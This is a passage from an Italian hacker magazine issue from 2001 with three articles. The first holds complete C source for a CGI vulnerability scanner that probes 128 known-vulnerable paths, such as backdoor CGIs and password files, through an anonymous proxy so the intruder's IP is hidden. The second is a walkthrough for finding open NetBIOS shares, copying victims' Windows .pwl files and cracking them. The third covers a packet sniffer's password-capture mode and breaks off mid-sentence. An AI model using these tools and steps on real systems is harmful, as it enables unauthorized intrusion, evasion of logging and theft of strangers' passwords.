MAGAZINE ~ [HACKiNG] #01 - 19/03/2001 | | UN CGi AL Gi0RN0 LEVA iL R00T Di T0RN0 ................. [Tdi110cv] 0x06/0x1A | +-------------------------------------------------------------------------------+ Luogo di stesura : CRFI (chi ha orecchie per intendere intenda) Ora di stesura : Cazzi miei ! (volete che vada dai sindacati ?) Motivo : Sono qui ad aspettare la fine di un job e evito di ammuffirmi !! Con l'ambiente di produzione tra le mie mani ... mi vengono in mente tanti modi per sistemarmi !!!! Saluti : Tutti gli Hackmaniaci e i NOPT !!! Insulti vari : JEY... brutto strucchino che non sei altro ! mettiti su una linea telefonica no ?! (vabbè questa oramai e' vecchia ! ora telefona a spese dello stato ... se e' un pochino furbo !) : DJIN ... porca puttana ma hai altro da fare che criticare l'operato altrui ? (cmq date una occhiatina al precedente articolo) : WEBMASTER : Ma ti decidi , gnegnengne , a cambiare quella sottospecie di sottoserver MAC ? Almeno dimmi dove trovare dei riespettosi exploit per quella mela morsicata !!!! E magari l'hai anche pagato caro !? Anzi e magari l'hai anche pagato ?! (approposito ... ma avete boicottato tutti il webby ? vabbe' che non ci saranno piu' quelli seri , ma anche quelli meno seri sono scomparsi ! Qua oramai siamo a chi scende piu' nel cerchio dei lama !) My E-MAIL : TDI110CV@INAME.COM Target : For very little Newbies !!! (e che volete che scriva visto che anche io sono un newbies ?) BASTAAAAAAAAAA ! OK un po' di modestia ... ma quando e' troppo e' troppo !!! * * * Bene bene ! Siamo arrivati ropo una serie di stercocazzuterobedafognarisemindi- menticabiliparadisiachestronzate al primo articolozzo tecnico che io , il buon mtdi , ho deciso di scrivere. Inanzitutto per evitare insulti o roba simile da parte dei nostri colleghi dello staff di 'NEWBIES' vorrei precisare che l'idea e parte del codice utilizzato nell'articolo sono uscite su un numero passato della omonima rivista. Scusate quindi per la scopiazzatura , ma ho pensato a farci un bel lavoro dietro. Ora cominciamo ! Come tutti certo non sanno , e come tanti ancora non precisano perchè tutto al giorno d'oggi si da per scontato , parleremo dei famosi CGI ! Bene molti dei nostri colleghi ne hanno gia parlato diverso tempo fa ( si parla anche di anni ) evidenziando tutte le caratteristiche e gli exploit praticabili nei confronti del famoso phf , test-cgi , nph-test-cgi ecc. Questi dunque i piu' famosi ! Ma nessuno ritorna sull'argomento per aggiornare i lettori con i nuovi cgi exploitabili , o peggio ancora per spiegare esattamente anche ai novellini del nuovo millennio di che cazzo si parla ! Ebbene allora eccheme qua' ! Io ci son tornato anche perchè una delle prime cose che faccio quando cerco delle vulnerabilita' su un server e' uno scan completo dei possibili CGI installati ! Si uno scan completo con uno scanner periodicamente aggiornato di tutti i nuovi exploit disponibili ! Bene ! Volete sapere che ne penso in merito ? Che ancora oggi i cgi bacati che maggiormente trovo sopra ai server sono quelli piu' vecchi :)) ! Si certo ! non e' raro trovare ancora un phf bacato , un nph-test , e altra roba considerata oggi dell'anteguerra ! Ma arriviamo al sodo ! Cazzo sono sti cazzuti CGI ? Bene bene , definirei CGI uno script (codice) scritto nei piu svariati modi in PERL , TCL ecc. che gira sul server in questione e assolve ad un determinato compito dettato , ovviamente , dal programmatore ! Per cui essendo che molti dei programmi in circolazione risultano essere bacati da svariati problemi di sicurezza dovuti ad una programmazione quantomeno poco attenta , anche questi famosi script cgi , che ricordo essere a tutti gli effetti dei programmi , sono affetti spesso da problemi analoghi. Problemi che i buoni smanettoni analizzano e rendono pubblici ad uso e spesso abuso di altri giovani smanettoni non ancora in grado di scoprire da soli eventuali problemi di programmazione. Un grazie quindi a chi si impegna in questo senso e andiamo ad analizzare come individuare dei cgi bacati. Bene capito che cosa sono i cgi , c'è da dire che per individuarli serve un un prodottino in grado di connettersi al sito vittima il quale contiene un data base di cgi bacati e ne richiede l'utilizzo (GET). Che succede se usiamo il prodottino su un sito che non ha i cgi che per natura noi conosciamo essere bacati ? Be' nulla succedera' semplicemente che il server rispondera' negativamente e conseguentemente il programma in questione vi rispondera' 'NOT FOUND' il che vuol dire che il cgi richiesto non e' presente nel server interessato. Al contrario la presenza di qualche cgi bacato verra' segnalata da un messaggio tipo 'TROVATO!!!'. Purtoppo c'è sempre il solito problema ! Si Si ! che troviate o meno i famosi CGI state sicuri che i log avranno archiviato le vostre richieste ! Con il solito problema della ramazza nel culo da parte dell'admin. Quindi per evitare o almeno rendere piu' remota questa possibilita' vi offro un sorgente , che gia tempo addietro venne pubblicato da quelli di newbies , che prevede l'utilizzo di un proxy al quale io mi sono limitato a aggiungere molti exploit che prima non c'erano. Ora sono 128. Il proxy vi coprira' un pochino , in particolar modo se lo sceglierete anonimo. Nel caso abbiate dei problemi con i proxy ... ci deve essere una guida enorme da qualche parte nel web che io scrissi un paio di anni fa ! Il link ... non lo ricordo. Per cui cercatevelo e al limite rispeditemelo ! Ricordo solo che fu pubblicata su geocities. Scannate e scannate , ma occhio ai .gov .mil ecc. Nel caso trovaste dei cgi bacati andate su un sito di exploit e cercate il soggetto incriminato e ... buon divertimento. Oppure leggete ondaquadra nella quale ogni tanto per voi ne pubblichero' qualcuno. Ed ora eccovi il codice: /************************************************************************** * TDISCAN ver 1.0 * coded by ^cThUlHu^ * inplemented by ^TDI110CV (HACKMANIACI CORP.)^ * * Un nuovo scanner per cercare vulnerabilita' dei CGI * L'idea non e' certo nuova , come del resto non e' nuovo neanche * questo programma ! Ho lasciato infatti il nick del creatore iniziale * affinchè nessuno possa venirmi a dire di essere un LAMERONE che rippa * codice altrui. Mi e' venuto pero' in mente di aggiungere gli ultimi * exploit disponibili , per il fatto che il sorgente lavora passando * attraverso un proxy , il che fa molto comodo. * In questo modo sui log del server non verra' piu' registratp l'IP * dell'attacker ma solo quello del proxy in questione ! * Attenzione pero' ! Si suppone che si conoscano i server proxy , * i quali non sono tutti uguali ! I proxy , per mantenere , un livello * accettabile di anonimita' devono essere appunto proxy anonimi ! * In caso di dubbio conviene leggere la mia guida sui proxy ! * La si puo' trovare presso WWW.HACKMANIACI.COM (forse) * * Per essere utilizzato , il programma dovra' essere compilato nel * seguente modo ! * gcc tdiscan.c -o tdiscan * * Sintassi di esecuzione : * ./tdiscan * * Grazie a : ^CThUlHu^ che ha creato il sorgente. * Grazie inoltre a : JEYONE , TRITEMIUS , MALKAVIAN , CER , WEISSES * senza i quali tutto questo , non certo il programma , non sarebbe * mai nato ! * * Ogni BUG puo' essere comunicato a TDI110CV@INAME.COM * * P.S. La rete e' uno strumento tanto importante quanto molto caro ! * Non lasciate che i LAMER la possano rovinare ! *************************************************************************/ #include #include #include #include #include #include #include #include struct sockaddr_in proc; struct hostent *hs; int port,sock,i; char *okmsg="200 OK"; /*Positive response from the proxy*/ char *request = "GET http://"; char tryfor[256]; void Scanning(char *target,char *proxy,char *prt) { char cgibuff[1024]; char *buff[100]; char *cginame[100]; buff[1] = "/cgi-bin/unlg1.1 HTTP/1.0\n\n"; buff[2] = "/cgi-bin/rwwwshell.pl HTTP/1.0\n\n"; buff[3] = "/cgi-bin/phf HTTP/1.0\n\n"; buff[4] = "/cgi-bin/Count.cgi HTTP/1.0\n\n"; buff[5] = "/cgi-bin/test-cgi HTTP/1.0\n\n"; buff[6] = "/cgi-bin/nph-test-cgi HTTP/1.0\n\n"; buff[7] = "/cgi-bin/nph-publish HTTP/1.0\n\n"; buff[8] = "/cgi-bin/php.cgi HTTP/1.0\n\n"; buff[9] = "/cgi-bin/handler HTTP/1.0\n\n"; buff[10] = "/cgi-bin/webgais HTTP/1.0\n\n"; buff[11] = "/cgi-bin/websendmail HTTP/1.0\n\n"; buff[12] = "/cgi-bin/webdist.cgi HTTP/1.0\n\n"; buff[13] = "/cgi-bin/faxsurvey HTTP/1.0\n\n"; buff[14] = "/cgi-bin/htmlscript HTTP/1.0\n\n"; buff[15] = "/cgi-bin/pfdispaly.cgi HTTP/1.0\n\n"; buff[16] = "/cgi-bin/perl.exe HTTP/1.0\n\n"; buff[17] = "/cgi-bin/wwwboard.pl HTTP/1.0\n\n"; buff[18] = "/cgi-bin/www-sql HTTP/1.0\n\n"; buff[19] = "/cgi-bin/view-source HTTP/1.0\n\n"; buff[20] = "/cgi-bin/campas HTTP/1.0\n\n"; buff[21] = "/cgi-bin/aglimpse HTTP/1.0\n\n"; buff[22] = "/cgi-bin/glimpse HTTP/1.0\n\n"; buff[23] = "/cgi-bin/man.sh HTTP/1.0\n\n"; buff[24] = "/cgi-bin/AT-admin.cgi HTTP/1.0\n\n"; buff[25] = "/cgi-bin/filemail.pl HTTP/1.0\n\n"; buff[26] = "/cgi-bin/maillist.pl HTTP/1.0\n\n"; buff[27] = "/cgi-bin/jj HTTP/1.0\n\n"; buff[28] = "/cgi-bin/info2www HTTP/1.0\n\n"; buff[29] = "/cgi-bin/files.pl HTTP/1.0\n\n"; buff[30] = "/cgi-bin/finger HTTP/1.0\n\n"; buff[31] = "/cgi-bin/bnbform.cgi HTTP/1.0\n\n"; buff[32] = "/cgi-bin/survey.cgi HTTP/1.0\n\n"; buff[33] = "/cgi-bin/AnyForm2 HTTP/1.0\n\n"; buff[34] = "/cgi-bin/textcounter.pl HTTP/1.0\n\n"; buff[35] = "/cgi-bin/classifieds.cgi HTTP/1.0\n\n"; buff[36] = "/cgi-bin/environ.cgi HTTP/1.0\n\n"; buff[37] = "/cgi-bin/wrap HTTP/1.0\n\n"; buff[38] = "/cgi-bin/cgiwrap HTTP/1.0\n\n"; buff[39] = "/cgi-bin/guestbook.cgi HTTP/1.0\n\n"; buff[40] = "/cgi-bin/edit.pl HTTP/1.0\n\n"; buff[41] = "/cgi-bin/perlshop.cgi HTTP/1.0\n\n"; buff[42] = "/_vti_inf.html HTTP/1.0\n\n"; buff[43] = "/_vti_pvt/service.pwd HTTP/1.0\n\n"; buff[44] = "/_vti_pvt/users.pwd HTTP/1.0\n\n"; buff[45] = "/_vti_pvt/authors.pwd HTTP/1.0\n\n"; buff[46] = "/_vti_pvt/administrators.pwd HTTP/1.0\n\n"; buff[47] = "/_vti_bin/shtml.dll HTTP/1.0\n\n"; buff[48] = "/_vti_bin/shtml.exe HTTP/1.0\n\n"; buff[49] = "/cgi-dos/args.bat HTTP/1.0\n\n"; buff[50] = "/cgi-win/uploader.exe HTTP/1.0\n\n"; buff[51] = "/cgi-bin/rguest.exe HTTP/1.0\n\n"; buff[52] = "/cgi-bin/wguest.exe HTTP/1.0\n\n"; buff[53] = "/scripts/iisadmin/bdir.htr HTTP/1.0\n\n"; buff[54] = "/scripts/CGImail.exe HTTP/1.0\n\n"; buff[55] = "/scripts/tools/newdsn.exe HTTP/1.0\n\n"; buff[56] = "/scripts/fpcount.exe HTTP/1.0\n\n"; buff[57] = "/cfdocs/expelval/openfile.cfm HTTP/1.0\n\n"; buff[58] = "/cfdocs/expelval/exprcalc.cfm HTTP/1.0\n\n"; buff[59] = "/cfdocs/expelval/displayopenedfile.cfm HTTP/1.0\n\n"; buff[60] = "/cfdocs/expelval/sendmail.cfm HTTP/1.0\n\n"; buff[61] = "/iissamples/exair/howitworks/codebrws.asp HTTP/1.0\n\n"; buff[62] = "/iissamples/sdk/asp/docs/codebrws.asp HTTP/1.0\n\n"; buff[63] = "/msads/Samples/SELECTOR/showcode.asp HTTP/1.0\n\n"; buff[64] = "/search97.vts HTTP/1.0\n\n"; buff[65] = "/carbo.dll HTTP/1.0\n\n"; buff[66] = "/cfappman/index.cgm HTTP/1.0\n\n"; buff[67] = "/script/proxy/w3proxy.dll HTTP/1.0\n\n"; buff[68] = "/scripts/tools/newdsn.exe HTTP/1.0\n\n"; buff[69] = "/iisadmpwd/achg.htr HTTP/1.0\n\n"; buff[70] = "/iisadmpwd/aexp.htr HTTP/1.0\n\n"; buff[71] = "/iisadmpwd/aexp2.htr HTTP/1.0\n\n"; buff[72] = "/iisadmpwd/aexp2b.htr HTTP/1.0\n\n"; buff[73] = "/iisadmpwd/aexp3.htr HTTP/1.0\n\n"; buff[74] = "/iisadmpwd/aexp4.htr HTTP/1.0\n\n"; buff[75] = "/iisadmpwd/aexp4b.htrHTTP/1.0\n\n"; buff[76] = "/iisadmpwd/anot.htr HTTP/1.0\n\n"; buff[77] = "/iisadmpwd/anot3.htr HTTP/1.0\n\n"; buff[78] = "/cfdocs/expeval/openfile.cfm HTTP/1.0\n\n"; buff[79] = "/cfdocs/expeval/exprcalc.cfm HTTP/1.0\n\n"; buff[80] = "/cfdocs/expeval/displayopenedfile.cfm HTTP/1.0\n\n"; buff[81] = "/cfdocs/expeval/sendmail.cfm HTTP/1.0\n\n"; buff[82] = "/cfdocs/snippets/evaluate.cfm HTTP/1.0\n\n"; buff[83] = "/cfdocs/snippets/fileexists.cfm HTTP/1.0\n\n"; buff[84] = "/cfdocs/snippets/gettempdirectory.cfm HTTP/1.0\n\n"; buff[85] = "/cfdocs/snippets/viewexamples.cfm HTTP/1.0\n\n"; buff[86] = "/script/sampler/ctguestb.idc HTTP/1.0\n\n"; buff[87] = "/cfdocs/examples/httpclient/mainframeset.cfm HTTP/1.0\n\n"; buff[88] = "/cfdocs/examples/cvbeans/beaninfo.cfm HTTP/1.0\n\n"; buff[89] = "/cfdocs/examples/parks/detail.cfm HTTP/1.0\n\n"; buff[90] = "/scripts/convert.bas HTTP/1.0\n\n"; buff[91] = "/etc/passwd HTTP/1.0\n\n"; buff[92] = "/cgi-dos/args.cmd HTTP/1.0\n\n"; buff[93] = "/cgi-shl/win-c-sample.exe HTTP/1.0\n\n"; buff[94] = "/domcfg.nsf HTTP/1.0\n\n"; buff[95] = "/domlog.nsf http/1.0\n\n"; buff[96] = "/names.nsf HTTP/1.0\n\n"; buff[97] = "/log.nsf HTTP/1.0\n\n"; buff[98] = "/neowebscript/test/senvironment.nhtml HTTP/1.0\n\n"; buff[99] = "/neowebscript/tests/load_webenv.nhtml HTTP/1.0\n\n"; buff[100] = "/neowebscript/tests/mailtest.nhtmlHTTP/1.0\n\n"; buff[101] = "/cgi-bin/unlg1.2 HTTP/1.0\n\n"; buff[102] = "/cgi-bin/gH.cgi HTTP/1.0\n\n"; buff[103] = "/cgi-bin/wwwboard.cgi HTTP/1.0\n\n"; buff[104] = "/cgi-bin/webbbs.cgi HTTP/1.0\n\n"; buff[105] = "/......../autoexec.bat HTTP/1.0\n\n"; buff[106] = "/cgi-bin/AnyBoard.cgi HTTP/1.0\n\n"; buff[107] = "/cgi-bin/ax-admin.cgi HTTP/1.0\n\n"; buff[108] = "/cgi-bin/ax.cgi HTTP/1.0\n\n"; buff[109] = "/cgi-bin/day5datacopier.cgi HTTP/1.0\n\n"; buff[110] = "/cgi-bin/day5datanotifier.cgi HTTP/1.0\n\n"; buff[111] = "/cgi-bin/passwd HTTP/1.0\n\n"; buff[112] = "/cgi-bin/passwd.txt HTTP/1.0\n\n"; buff[113] = "/cgi-bin/password HTTP/1.0\n\n"; buff[114] = "/cgi-bin/password.txt HTTP/1.0\n\n"; buff[115] = "/cgi-bin/phf HTTP/1.0\n\n"; buff[116] = "/cgi-bin/whois_raw.cgi HTTP/1.0\n\n"; buff[117] = "/scripts/counter.exe HTTP/1.0\n\n"; buff[118] = "/scripts/pfieffer.bat HTTP/1.0\n\n"; buff[119] = "/scripts/pfieffer.bat HTTP/1.0\n\n"; buff[120] = "/scripts/pfieffer.cmd HTTP/1.0\n\n"; buff[121] = "/scripts/pfieffer.cmd HTTP/1.0\n\n"; buff[122] = "/scripts/visadmin.exe HTTP/1.0\n\n"; buff[123] = "/session/adminlogin HTTP/1.0\n\n"; buff[124] = "/cgi-bin/fpexplore.exe HTTP/1.0\n\n"; buff[125] = "/cgi-bin/dumpenv.pl HTTP/1.0\n\n"; buff[126] = "/cgi-bin/LWGate.cgi HTTP/1.0\n\n"; buff[127] = "/cgi-bin/lwgate.cgi HTTP/1.0\n\n"; buff[128] = "/cgi-bin/nlog-smb.pl HTTP/1.0\n\n"; cginame[1] = "UnlG - backd00r "; cginame[2] = "THC - backd00r "; cginame[3] = "phf "; cginame[4] = "Count.cgi "; cginame[5] = "test-cgi "; cginame[6] = "nph-test-cgi "; cginame[7] = "nph-publish "; cginame[8] = "php.cgi "; cginame[9] = "handler "; cginame[10] = "webgais "; cginame[11] = "websendmail "; cginame[12] = "webdist.cgi "; cginame[13] = "faxsurvey "; cginame[14] = "htmlscript "; cginame[15] = "pfdisplay "; cginame[16] = "perl.exe "; cginame[17] = "wwwboard.pl "; cginame[18] = "www-sql "; cginame[19] = "view-source "; cginame[20] = "campas "; cginame[21] = "aglimpse "; cginame[22] = "glimpse "; cginame[23] = "man.sh "; cginame[24] = "AT-admin.cgi "; cginame[25] = "filemail.pl "; cginame[26] = "maillist.pl "; cginame[27] = "jj "; cginame[28] = "info2www "; cginame[29] = "files.pl "; cginame[30] = "finger "; cginame[31] = "bnbform.cgi "; cginame[32] = "survey.cgi "; cginame[33] = "AnyForm2 "; cginame[34] = "textcounter.pl "; cginame[35] = "classifields.cgi"; cginame[36] = "environ.cgi "; cginame[37] = "wrap "; cginame[38] = "cgiwrap "; cginame[39] = "guestbook.cgi "; cginame[40] = "edit.pl "; cginame[41] = "perlshop.cgi "; cginame[42] = "_vti_inf.html "; cginame[43] = "service.pwd "; cginame[44] = "users.pwd "; cginame[45] = "authors.pwd "; cginame[46] = "administrators "; cginame[47] = "shtml.dll "; cginame[48] = "shtml.exe "; cginame[49] = "args.bat "; cginame[50] = "uploader.exe "; cginame[51] = "rguest.exe "; cginame[52] = "wguest.exe "; cginame[53] = "bdir - samples "; cginame[54] = "CGImail.exe "; cginame[55] = "newdsn.exe "; cginame[56] = "fpcount.exe "; cginame[57] = "openfile.cfm "; cginame[58] = "exprcalc.cfm "; cginame[59] = "dispopenedfile "; cginame[60] = "sendmail.cfm "; cginame[61] = "codebrws.asp "; cginame[62] = "codebrws.asp 2 "; cginame[63] = "showcode.asp "; cginame[64] = "search97.vts "; cginame[65] = "carbo.dll "; cginame[66] = "index.cgm "; cginame[67] = "w3proxy.dll "; cginame[68] = "newdsn.exe "; cginame[69] = "IISbweblpassword"; cginame[70] = "IISbweblpassword"; cginame[71] = "IISbweblpassword"; cginame[72] = "IISbweblpassword"; cginame[73] = "IISbweblpassword"; cginame[74] = "IISbweblpassword"; cginame[75] = "IISbweblpassword"; cginame[76] = "IISbweblpassword"; cginame[77] = "IISbweblpassword"; cginame[78] = "openfile.cfm "; cginame[79] = "exprcalc.cfm "; cginame[80] = "displayopenedfile.cfm "; cginame[81] = "sendmail.cfm "; cginame[82] = "evaluate.cfm "; cginame[83] = "fileexists.cfm "; cginame[84] = "gettempdirectory.cfm "; cginame[85] = "viewexamples.cfm"; cginame[86] = "ctguestb.idc "; cginame[87] = "mainframeset.cfm"; cginame[88] = "beaninfo.cfm "; cginame[89] = "detail.cfm "; cginame[90] = "convert.bas "; cginame[91] = "etc/passwd "; cginame[92] = "args.cmd "; cginame[93] = "win-c-sample.exe"; cginame[94] = "domcfg.nsf "; cginame[95] = "domlog.nsf "; cginame[96] = "names.nsf "; cginame[97] = "log.nsf "; cginame[98] = "senvironment.nhtml"; cginame[99] = "load_webenv.nhtml "; cginame[100] = "mailtest.nhtml "; cginame[101] = "unlg1.2 "; cginame[102] = "gH.cgi "; cginame[103] = "wwwboard.cgi "; cginame[104] = "webbbs.cgi "; cginame[105] = "autoexec.bat "; cginame[106] = "AnyBoard.cgi "; cginame[107] = "ax-admin.cgi "; cginame[108] = "ax.cgi "; cginame[109] = "day5datacopier.cgi "; cginame[110] = "day5datanotifier.cgi "; cginame[111] = "passwd "; cginame[112] = "passwd.txt "; cginame[113] = "password "; cginame[114] = "password.txt "; cginame[115] = "phf "; cginame[116] = "whois_raw.cgi "; cginame[117] = "counter.exe "; cginame[118] = "pfieffer.bat "; cginame[119] = "pfieffer.bat "; cginame[120] = "pfieffer.cmd "; cginame[121] = "pfieffer.cmd "; cginame[122] = "visadmin.exe "; cginame[123] = "adminlogin "; cginame[124] = "fpexplore.exe "; cginame[125] = "dumpenv.pl "; cginame[126] = "LWGate.cgi "; cginame[127] = "lwgate.cgi "; cginame[128] = "nlog-smb.pl "; port = atoi(prt); printf("Looking Up %s\n",proxy); hs = gethostbyname(proxy); if(!hs) { fprintf(stderr,"host sconosciuto %s!\n",proxy); exit(0); } else { for(i=1;i<128;i++) { memset(&proc,0,sizeof(proc)); memcpy((char*)&proc.sin_addr,hs->h_addr,hs->h_length); proc.sin_family = AF_INET; proc.sin_port = htons(port); sprintf(tryfor,"%s%s%s",request,target,buff[i]); sock = socket(AF_INET,SOCK_STREAM,0); if(sock<0) { fprintf(stderr,"ERROR !!Impossibile stabilire una connessione %s\n",proxy); exit(0); } if(connect(sock,(struct sockaddr *) &proc,sizeof(proc)) ==-1) { fprintf(stderr,"ERROR!!Impossibile stabilire una connessione %s\n",proxy); exit(0); } printf("Checking for %s",cginame[i]); send(sock,tryfor,strlen(tryfor),0); recv(sock,cgibuff,sizeof(cgibuff),0); if(strstr(cgibuff,okmsg)) { printf("TROVATO !!\n"); } else { printf("NON TROVATO\n"); } } close(sock); exit(0); } } main(int argc,char **argv) { system("clear"); printf("\033[9;37m\n###############################################\n"); printf("\033[9;37m#\033[9;36m TDISCANNER vEr 1.0 ........................ \033[9;37m#\n"); printf("\033[9;37m#\033[9;36m IMPLEMENTED BY TDI110CV.................... \033[9;37m#\n"); printf("\033[9;37m###############################################\n\n"); if(argc !=4) { printf(" Wrong number of Arguments !!!\n\n"); printf("\033[9;37m###############################################\n"); printf("\033[9;37m#\033[9;31m Sintassi\033[9;37m : ................................ #\n"); printf("\033[9;37m#\033[9;31m ./cgiscanner .\033[9;37m #\n"); printf("\033[9;37m# ........................................... #\n"); printf("\033[9;37m#\033[9;31m server da analizzare ..........\033[9;37m #\n"); printf("\033[9;37m#\033[9;31m proxy name ................\033[9;37m #\n"); printf("\033[9;37m#\033[9;31m .........................\033[9;37m #\n"); printf("\033[9;37m###############################################\n\n"); } else { Scanning(argv[1],argv[2],argv[3]); } } Bene il codice e' questo ... piiiatelo gcciatelo e lanciiatelo. Scannate ... che chi scanna trova. Mi scuso in anticipo per non essere riuscito a completare l'opera con altri 6 o 7 CGI bacati usciti di recente. Colpa del TRIT che ha insistito nel fare uscire sta sottospecie di tool prima possibile. Buon lavoro ! Il Vostro beneamato__________________TDI110CV P.S. e ricordate bene ... +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [HACKiNG] #01 - 19/03/2001 | | NETBi0S, CAiN E LE PASSW0RD Di WiN 9.x ...................... [Max] 0x07/0x1A | +-------------------------------------------------------------------------------+ Ciao a tutti! Quello che vi sto' x trattare è un argomento complesso ma se avete qualche domanda potete contattarmi in irc(server:irc.jnet.it chan #hackzxtreme Nick=Max). Cominciamo! Quello di cui avete bisogno sono 2 cose:un programma di nome cain(che decripta i file pwl cioe' i file contenenti le pass di un sistema di tipo windows)e un programma che scanna i computer alla ricerca di quelli con il netbios attivo(il netbios è una backdoor cioe' una porta aperta del vostro computer che vi permette di penetrare in un sistema accedendo al disco che il sistema condivide(C,D,A,ecc) e che si chiama legion. dopo che avete i prog settate alcune cose prima di cominciare e cioe': 1)aprite il apnnelo di controllo,connessione remota è cliccate con il tasto destro sulla connessione che usate selezionando proprieta'.Dopodiche' selezionate protezione e cliccate su accedi alla rete.Fatto questo salvate e chiudete il tutto. 2)andate in pannello di controllo e su reti dopodiche' cliccate aggiungi e cliccate client,selezionate client per reti microsoft e aggiungetelo.riavviate il computer. 3)a questo punto aprite il legion(questi prog li trovate su www.packetstorm.securify.com)e scrivete un range di ip che volete scannare(esempio da 122.12.1.1 a 122.12.64.255 poiche' potete scannare fino a 64 sottoreti x ogni ip)dopodiche' troverete una lista di computer netbiossati con i quali avrete accesso fisico al disco.X entrare nel sistema non dovete far altro che copiare quello che trovate con il legion(esempio \\112.12.24.26\C)e scriverlo andando in risorse del computer e cliccando su strumenti e connetti unita' di rete e scrivendo cio' che avete trovato con il legion potete trovare dei computer con le pass o che non vi diano accesso ma la maggior parte sono condivisibili a tutti gli effetti ^_^). Una volta entrati vi verra' mostrato l'hd del computer e voi dovrete andare su start-esegui e scrivere command. Arrivati sulla shell dos scrivete F:(o G: o H: a seconda della lettera assaegnata al computer) poi scrivete cd windows e successivamente scrivete copy *.pwl C:(questo comando copiera' tutti i file pwl sul vostro hard disk) dopodiche' prendete il cain(se avete l'antivirus vi dira' che è un virus ma voi andate tranquilli non vi infetta ^_^ e apritelo. Andate sulla chiave(icona grafica e selezionatela, dopodiche' andate su file,selezionate add to list e selezionate il file) dopodiche' selezionate il file e cliccando il il tasto destro selezionate "try another username" e mettetegli come user il nome del file pwl che avete preso.Nella maggior parte dei casi troverete le pass e bastera' cliccare con il tasto destro sul file scegliere "show cached pass" x trovarle,senno' dovrete usare un prog x i file alternativo(tipo pwlhack) x craccare le pass. Questo metodo serve x trovare qualsiasi pass di un qualsiasi account(libero,galactica,tin,ecc). Raccomando a tutti di limitarvi a scaricare le pass o copiare quel che si vuole ma non a cancellare i file del computer(a meno che non è il vostro peggior nemico ^_^). Alla prossima ragazzi. Ciao a tutti by Max Saluto i miei amici: Master^shadow,Tritemius,reef,bart,Netphantom,Mrwolf,dibbellas,Spawn,xian,snakebite,jeremia,Newlegend,giovanni,e mi scuo in anticipo c quello che mi sono sicuramente dimenticato ;DD Un grosso fuck ai lamerz merdosi!!! <-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-> +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [NETW0RKiNG] #01 - 19/03/2001 | | BUTT SNiFF 0.9 (2/2) .................................. [Tritemius] 0x08/0x1A | +-------------------------------------------------------------------------------+ iNTR0: iL RiTUALE DELL0 SNiFFiNG ================================ Nella prima parte ("Il dogma dello sniffing"), abbiamo preso familiarita' con i principi dello sniffing: e' tempo di mettere in pratica la teoria. In questo articolo vedremo la modalita' interattiva di Butt Sniff, anche se non ci soffermeremo perche' poco interessante dal punto di vista didattico; ma soprattutto ci concentreremo sull'analisi dei pacchetti carpiti dalla rete;quindi vedremo in modo piu' approfondito la modalita dump, utile per analizzare la composizione dei pacchetti tcp/ip. Alla fine dell'articolo sarete in grado comprendere con maggior chiarezza i maccanismi che regolano sia la vostra Lan, sia Internet. Inoltre, utilizzando BS sull'interfacia di accesso remoto potrete monitorare con estrema precisione il traffico che passa sulla vostra macchina da e verso Internet. Nelle ultime settimane ho scoperto una versione di Butt Sniff (0.9.3) che dovrebbe funzionare anche su NT; i test da me eseguiti non hanno dato esiti confortanti, in quanto BS ha funzionato solo su una piccola percentuale di macchine da me testate. Devo pero' precisare che per forza di cose non tutti i test sono stati eseguiti nella migliore delle condizioni possibili... M0DALiTA' iNTERATTiVA ===================== Per eseguire BS in modalita'interattiva, si lanci il programma da linea di comando in questo modo: buttsniff -i interfaccia portatcp dove per interfaccia si intende un dispositivo di rete (o di accesso remoto) (buttsniff -l per vedere la lista di dispositivi disponibili); la porta tcp e' un numero compreso tra 1 e 65535; Una volta eseguito il comando, aprendo una sessione telnet sulla porta tcp specificata, e mettendo come host l'ip locale (o il loopback 127.0.0.1) vi troverete di fronte all'interfaccia di BS in modalita' interattiva. Le opzioni disponibili sono 4: 1) Monior Connection 2) Password sniffer 3) Configure 4) Exit La scritta in fondo "Time display" significa che premendo la "T" apparira' l'ora locale nella barra in alto a destra. Vediamo in dettaglio. Monitor Connection ------------------ Qui vengono mostrate le connessioni in corso, l'ip sorgente, la porta sorgente, l'ip destinazione, la porta di destinazione. Password Sniffer ---------------- Non mi sembra ci sia molto da dire... Le password intercettate verranno mostrate sul vostro display: prendete la vostra bevanda preferita e rilassatevi... Configure --------- Nella sezione "IP Address Filter" potete selezionare gli indirizzi da includere o da escludere dallo sniffing dei dati. Usate i tasti "su" e "giu" per muovervi tra i vari campi, la barra spaziatrice serve per selezionare l'opzione (include,exclude). In "Port Range Filter Rules" siete in grado di scegliere le porte tcp/udp interessate allo sniffing. M0DALiTA' DiSK-DUMP =================== Eccoci finalmente alla modalita' piu' interessante che ci permettera' di vedere in modo dettagliato i pacchetti di dati in transito sulla macchina. Che succede quando effettuo un "banalissimo" ping ? Vediamo. Intanto attiviamo lo sniffer: buttsniff -d 0000 miolog p [filtri] Dove -d sta a significare disk-dump, ovvero il traffico viene loggato in un file specificato (miolog); "0000" e' l'interfaccia: di questo abbiamo gia' parlato abbastanza. La "p" sta per "full protocol" e si riferisce al tipo di decodifica. BS e' in grado di decodificare i pacchetti in formato raw ethernet, ip e full-protocol (vedi articolo su OQ#00). Torniamo al "ping". Supponiamo di avere una rete composta da due macchine; a queste macchine sono assegnati rispettivamente gli indirizzi 192.168.0.1 e 192.168.0.2. ICMP ==== Dalla macchina 192.168.0.2 effettuiamo un ping verso 192.168.0.1, quindi interrompiamo lo "sniffing" (control-c). Apriamo il file miolog con Notepad o con qualsiasi programma che ci permetta di vedere un testo ascii. Ci troveremo di fronte qualcosa di questo genere: Source IP: 192.168.0.2 Target IP: 192.168.0.1 ICMP Length: 32 ChkSum: 4B5C Code: Echo Message 00000000: 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70 abcdefghijklmnop 00000010: 71 72 73 74 75 76 77 61 62 63 64 65 66 67 68 69 qrstuvwabcdefghi Source IP: 192.168.0.1 Target IP: 192.168.0.2 ICMP Length: 32 ChkSum: 535C Code: Echo Reply 00000000: 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70 abcdefghijklmnop 00000010: 71 72 73 74 75 76 77 61 62 63 64 65 66 67 68 69 qrstuvwabcdefghi Source ip e' l'indirizzo ip della macchina che ha inviato il "ping"; Target ip e' l'indirizzo della macchina che abbiamo "sondato". Queste informazioni sono contenute nella sezione "Internet Protocol" del pacchetto; Questo 